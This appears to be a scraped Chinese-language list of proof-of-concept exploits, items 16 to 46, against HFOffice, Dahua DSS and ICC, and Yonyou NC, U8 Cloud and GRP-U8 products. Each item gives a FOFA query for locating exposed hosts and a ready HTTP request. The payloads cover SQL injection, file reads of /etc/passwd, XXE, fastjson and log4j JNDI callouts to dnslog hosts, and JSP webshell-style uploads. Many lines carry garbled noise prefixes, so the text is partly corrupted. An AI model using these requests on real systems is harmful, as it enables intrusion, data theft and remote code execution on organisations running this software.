sec-ch-ua-platform: Windows
Accept-Encoding: gzip
2 V& H6 j- o9 f  Z0 q' C2 v" s6 S( S
3 q( ~  v( u( `
+ ^  Q1 ]5 S/ d/ P/ v" \* F16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
  }9 b- w2 n& a6 @/ A. kpoc中调用函数计算1234的md5值
2 {8 x/ H' z4 A/ b. q( e7 ]) K0 M2 MGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
- V# C! N- F- @* G+ XAccept-Language: en
Accept-Encoding: gzip

1 M& `( P  k1 [# M; T3 Q  D
7 i- c: F( K* ^1 p9 Q  k$ k4 F17. 大华 DSS itcBulletin SQL 注入
. g" w5 M! e) IFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
# N/ X; i1 h" BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 z8 A; ~/ m1 `8 _* z" ~Connection: close
) m# L/ K. V8 S; d2 _3 [Content-Length: 345
" ?' L9 _) B  L/ d% g$ t& }0 LAccept-Encoding: gzip
3 x# d6 K5 G3 f5 u& v2 {
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
( v% g- r* I6 Q1 o<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
' B% @1 Z' j2 Q( |      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
! q8 j/ O% v+ E3 W$ p</s11:Envelope>


/ M! V. f3 |8 u18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
: g- A0 t: y3 F% N+ P" ?; m) h% wFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
" X* w' n. @9 A5 LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
: a' X6 ~) g1 R0 H3 JConnection: keep-alive
9 ?8 Z1 E( c% }7 R9 T2 q' k2 z
: K! W! p2 M0 b; H) C0 q; s" L- r7 Z
+ n+ m' B, d' y1 S
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
- R" a1 c; m# n+ dGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
0 ^* u# x$ F1 \, C
2 w* R5 K& P) O( A+ a0 ~9 e" V: |
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
: m  M% P2 i9 n0 J& GGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
7 E3 V& V: Y" G' D  tHost: x.x.x.x
  g* Q2 M$ @/ U' L# w2 k8 h4 n# TUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
, p% Z* e0 B" N, DAccept-Language: en
Accept-Encoding: gzip

9 |8 m/ B0 \4 c( Z  K
. r6 l  @# Z) J  ~, @21. 大华ICC智能物联综合管理平台random远程代码执行
! y0 [" @# x* q8 S+ b1 nFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 f6 Q8 {. q) d. s9 P+ ^1 TContent-Length: 161
Accept-Encoding: gzip
Connection: close
3 {3 z4 q& s; L4 b8 sContent-Type: application/json;charset=utf-8

9 y: g) P$ J4 a! b. @{
% q" I: S/ t; P7 i# C$ G) G( m"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
9 y: P0 X( K  t3 N}


; i% _, ^, k* P  M22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 `8 y. W; ~" n5 w. F% _FOFA：icon_hash="-1935899595"
9 y1 V8 \: b( {3 Q4 ~$ p6 _' ?0 CPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
' u/ ^* b7 W. `; }) U7 WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( u. b# i- s) Z% D% AContent-Type: application/json;charset=utf-8
7 h2 ^! h' h: [! V1 i/ U
, V( w( g1 ~# i' S! a{
"loginName":"${jndi:ldap://dnslog}"
5 V' u# V8 v, N) G}
! M( E5 z( U- h) ^/ U
2 I8 j) M% h0 O/ t7 A9 q
5 ^& e* Y0 v& E5 R& w% }
" Y$ C8 P& L+ v1 z6 M23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
+ I$ Z3 Y8 j, ~) d' R& u) _FOFA：icon_hash="-1935899595"
6 W1 C% p/ x- Y" s5 qPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, S. }$ J' j$ B3 ~! J6 MContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
! r1 T- t! h8 l; U9 I; Q! |+ y4 JConnection: close
+ Q  C0 p/ w* ~2 a# N2 j/ {
& q; q% H9 n7 p" `' s{
  g6 ?  W/ @" K" a3 X8 U    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}


% \1 ^" Z8 ?+ }2 c) ^) m$ O, d24. 用友NC 6.5 accept.jsp任意文件上传
. u$ m* X5 f+ g0 l3 D$ g; @FOFA：icon_hash="1085941792"
0 j  r# G' D. w# _, y/ I( DPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
& h) P7 t+ t* {, O( _8 GUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
: M; S+ v1 O3 L/ @2 SConnection: close
0 ?; O1 v6 B9 F9 X% PContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

7 X% k8 y9 l; p2 W% I: _1 ]3 V' C-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
& ~3 p5 G: y( M5 l0 Z  W: D0 [% mContent-Type: text/plain
/ K& r4 e! D$ e$ X; g# X. i
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
; W3 [/ ]& F3 f: |-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
1 x6 P# h& Y4 S/ D2 v% j1 xContent-Disposition: form-data; name="fname"

5 l% G3 |( Z# r9 h0 s! t; C" s\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
/ M' ^  b- n" {/ \) l: r-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

( [: T( g$ @  r" P
. v$ E  ^% U3 w6 Q8 {25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
* \6 Q. D  Y( X5 LPOST /portal/registerServlet HTTP/1.1
9 H& Q% v3 l5 K& G( i, U1 XHost: your-ip
. w/ E# S8 N; U9 @/ P+ @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
% B) }/ k( Y% V+ e& _) HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
4 i: V) ]/ ^: c$ wAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
& k# g& I' Q2 ]' }* AContent-Type: application/x-www-form-urlencoded
6 P( i3 S3 @- i' ?
# }: G# r7 |6 r) {/ {7 {3 d% vtype=1&dsname=ldap://dnslog


  q& s' A' `5 I% \3 ^9 ~0 ]; T, H
& z- O, d* ?" P; U7 w9 B; e7 R26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
4 p, K: L: N9 zGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
/ }& e* g8 R/ f, W: C/ o# _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 C2 |1 G- ^& q3 cContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
8 F- S; y  E# g) b% ]1 SAccept: */*
5 G7 P5 m, e' c5 f9 p! f2 ~Connection: keep-alive


27. 用友 NC showcontent SQL注入
6 m, s5 {3 S4 Q  wFOFA：icon_hash="1085941792"
# I8 T1 o) N* R! \1 u( G2 PGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
& Z' p  [+ ^1 `5 x5 eConnection: close
2 ~* {* B1 G# e5 T- N0 pContent-Type: text/xml; charset=utf-8

- h- L( t3 j  H2 w0 q
& t3 _8 N8 \0 i8 m% v6 m; m/ }28. 用友NC grouptemplet 任意文件上传
0 y; d- h0 w3 Y9 K) JFOFA：icon_hash="1085941792"
7 A$ l$ j" F+ T- cPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
/ P1 c- w) _& \- G- dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
" k6 i& c0 d- v5 h* bConnection: close
) f4 Q  a) i( OContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
) D6 a# W0 O1 i2 Q
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
( W0 f5 ?) l, {9 g6 e* T8 ?, r, BContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
3 ~" g! z. D" m- C/ i0 ^Content-Type: application/octet-stream
2 ~0 g( p  g; g2 y' Y1 k
- u! R7 G0 L# ]<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
9 {6 K# P+ t1 A1 G4 M2 M
1 M) b- D. m6 ~; A- l. k5 f
/uapim/static/pages/nc/head.jsp
& R3 V( h  z9 F4 e5 y8 j
$ c# h. N: n% Q9 A) p+ N) y  {29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
1 A) }7 j5 A( V" g) a6 `4 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 N$ ]" S: N0 c, L7 j" sContent-Type: application/x-www-form-urlencoded
: |$ X6 k& H4 p. H6 T& R9 J; qAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


; T; f4 p2 h! {$ W$ v30. 用友NC importPml SQL注入
7 q; l2 u9 |; n: x$ O) e9 jFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
- v2 q0 N% k5 `7 M2 T0 |POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
+ ^0 L, l' w- E1 y' uHost: your-ip
! F! `) ?; f/ t/ yContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
& _7 h$ J' R9 R0 ^9 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
# V9 `9 B% v0 v8 @, n: N9 sConnection: close

' B) U: u& e1 t/ ^4 Y, M------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


9 k. d; C5 e( H! B) y3 @$ x31. 用友NC runStateServlet SQL注入
; O. c- z  `+ P+ uversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
3 P3 E5 |' L) m9 T- n2 G3 Q, E* [GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
# d# b1 m" a" {0 ?, AContent-Type: application/x-www-form-urlencoded

( w! k7 _! _- s
3 d( \9 [1 {9 K( Z! Z- L, ?6 S32. 用友NC complainbilldetail SQL注入
, j7 d& g9 G/ y; {version= NC633、NC65
3 ~5 H- m  Y0 Z2 L) m! I/ Z9 Z/ {$ VFOFA：app="用友-UFIDA-NC"
: s6 f) w' D, l3 O* JGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
4 i6 Z9 T, u: ]# R! _3 [Host: your-ip
+ l3 _7 Z" w6 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* n/ F% _: d% }% b2 pContent-Type: application/x-www-form-urlencoded
# G9 U) Y$ X) G; `. G+ m4 }Accept-Encoding: gzip, deflate
: d/ N# N# [0 l4 ^9 wAccept: */*
* @" f0 O, G- AConnection: keep-alive

+ @9 H2 g, I% l8 p% Q3 b
33. 用友NC downTax/download SQL注入
- |  J* Q0 ~8 lversion：NC6.5FOFA：app="用友-UFIDA-NC"
) h' Y5 v- D" c/ ?! G+ Z, EGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
* e* G" R$ D* r3 ^( ]2 p  B" |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' \! N" q' \: N+ D' y& W) a5 o. t- gContent-Type: application/x-www-form-urlencoded
, f9 h6 X: n' G, XAccept-Encoding: gzip, deflate
Accept: */*
' W$ `) H+ y9 _Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
) ]# L) o6 x3 @3 oFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 C) V+ u8 V6 @; Y$ s5 m' xAccept-Encoding: gzip, deflate
4 }# W, m! d8 UAccept: */*
) o/ [) _! m2 `( x* e4 M8 ^) }: QConnection: keep-alive
7 c% L* t* d% L& Y' L7 m8 H

- z* S9 [& R7 r! F! v35. 用友NC-Cloud importhttpscer任意文件上传
$ x/ O6 A% z. ~  z9 x- HFOFA：app="用友-NC-Cloud"
( H1 y$ d  h  W! O. ePOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
1 l: k6 @% r/ @- fHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
- ^" ^4 K% D+ p  d% ?; [% l2 JAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
$ z4 o! A0 S) B( n- p! SContent-Length: 190
& B: I) D( x6 h7 y7 O; z- bContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

( {  o: T2 X+ v! Z0 Q) d" M) h3 S--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
) B) R( P! ^8 O& @/ C/ O1 E- \
" ]  I% G2 N/ h$ H- J- W% O<%out.println(1111*1111);%>
6 u# Y7 H. w* W% A--fd28cb44e829ed1c197ec3bc71748df0--
2 h: V1 ]5 o! x' j

36. 用友NC-Cloud soapFormat XXE
. p/ M1 P, j! E9 {  j, U1 \+ x0 nFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
1 e# Q. `, r" ~% R1 ?) mPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
/ Q0 B0 E/ t7 \& m- dContent-Length: 263
" D6 P% X! x3 K1 h" rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
, q* N! p) c& eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 f! a4 J4 L1 o" r) w+ NConnection: close
Content-Type: application/x-www-form-urlencoded
% N* B/ K  ~9 x; D, V$ G& x. LUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
) _( `# }  X; t0 Z; g# Q9 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
, D% t9 s8 u1 _# ]Content-Length: 421
, v6 H6 [4 @; }, kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
% S" u" f" w. C4 q1 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ X. o4 `  R# q6 rConnection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
. N# z# N5 {) M# Z6 @2 {
$ k1 u) _& E7 z! M3 k5 c, v<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
$ Q# m9 {. j3 I# s- S( C1 F( Q<iup:getResult>
<!--type: string-->
5 J4 t# I% V+ ^  Q$ b<iup:string><![CDATA[
" Z% q! {+ X! B3 r' U<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
7 R  ?% m+ g/ e. x3 O2 F<xxx/>]]></iup:string>
7 u, o/ Q: @% X7 E2 T: D$ X</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>


# U; e# A7 [0 S7 `* e6 c  u
38. 用友U8 Cloud smartweb2.RPC.d XXE
0 I4 C4 r  s) P# mFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
0 [( E: p1 \% Z% LAccept-Language: zh-CN,zh;q=0.9
  G8 }$ O8 N) Q7 Y6 @! {5 FConnection: close
Content-Type: application/x-www-form-urlencoded

0 K0 \6 s+ ~: p5 S__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
5 Y* n% a) J2 r6 c% \) A

) E0 j" z2 j; r% y, [* v" E1 Z9 A! Q39. 用友U8 Cloud RegisterServlet SQL注入
  n7 l; D5 T/ Z5 dFOFA：title="u8c"
+ a9 ~+ D/ o0 `1 n# n) N! c/ nPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
% ?: J4 X0 c/ F, l5 C" G0 a6 m0 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% k! z0 y, }8 {# dConnection: close
Content-Length: 85
Accept: */*
: v# [. @* m9 l+ P$ J1 yAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
7 G) a* w, v% J( {5 ~

# W" J  S; [1 F. p40. 用友U8-Cloud XChangeServlet XXE
6 P2 F* f4 o* dFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
- W9 l9 a) z# \) mUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
, K" T5 m! H$ Z* a4 E0 yContent-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
& C1 t& C4 L( l2 V* [0 t' ]! E
) A- z7 k+ }0 D# M; Y, t
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
: }# ^; O- l9 H5 D9 r( V) zFOFA：app="用友-U8-Cloud"
: }& b' Z. ~: x" Q' P/ [- j( K0 bGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) e$ f3 L" o7 T8 w. I  U" JContent-Type: application/json
( }) E, Y5 Q% i/ \) V5 k& s. F. }2 uAccept-Encoding: gzip
Connection: close
6 S' e0 t! A, }  D0 F3 F' j" M

7 y7 C2 ]  K( t42. 用友GRP-U8 SmartUpload01 文件上传
  M/ C# ]2 H  i; E, uFOFA：app="用友-GRP-U8"
/ v, l4 U( m$ A. i- E; bPOST /u8qx/SmartUpload01.jsp HTTP/1.1
& N5 R9 }$ Z( V" OHost: x.x.x.x
. q9 f/ S( Z4 l: P& l6 {/ |$ R- YContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
- x2 _4 C4 y6 v
PAYLOAD
4 E6 i" f) L8 x" g" |! J
) M1 w1 I8 h$ i: ]+ a4 s- L
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
( @& }- E% V$ ~* F: j0 m2 a' t8 }3 hPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# `0 R$ [" p3 V7 S+ C6 tConnection: close
; C) q4 q/ |; |# Q. a# TSOAPAction:
Content-Type: text/xml;charset=UTF-8
8 m2 z3 x/ t) |6 M
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
5 |8 V* ^8 ?# t! f% \   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
6 O6 Z& W2 Z% Q4 l: P8 x. Q         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
. @' c% d) B$ U+ a6 g4 @+ q      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>

# @; C. Y" i5 B" b7 l! I9 Z
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
2 d8 W6 W5 T2 ?- q5 L+ n& dFOFA:app="用友-GRP-U8"
) U3 H3 E# P# N" n0 Q8 ?GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
5 O& R" v9 g% _+ v$ A+ x  nHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
; q( w- Q. p5 h' M% _8 S3 G, |POST /ufgovbank HTTP/1.1
0 n$ O  F/ i6 B0 l( ^! X/ I5 N4 @Host: 192.168.40.130:222
1 {: X. F: R5 I) O1 D& j5 r) _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
' e- y6 D: U7 b% x: z& a  g" qConnection: close
. S+ z: i# `+ W2 f! UContent-Length: 161
- {! q) ^- a5 J1 s8 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 B' z- v0 D2 x; X$ \- {Content-Type: application/x-www-form-urlencoded
* T& I, @  z: Q' L3 Y9 u; w4 H+ {Accept-Encoding: gzip
! g1 d7 p/ ]$ `8 x
/ v8 \) c( `" d) JreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
- t$ B+ h, M2 F- N3 Y2 K
+ W9 N, z! w: h1 l; _
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
. p* i7 {; {  eHost: your-ip
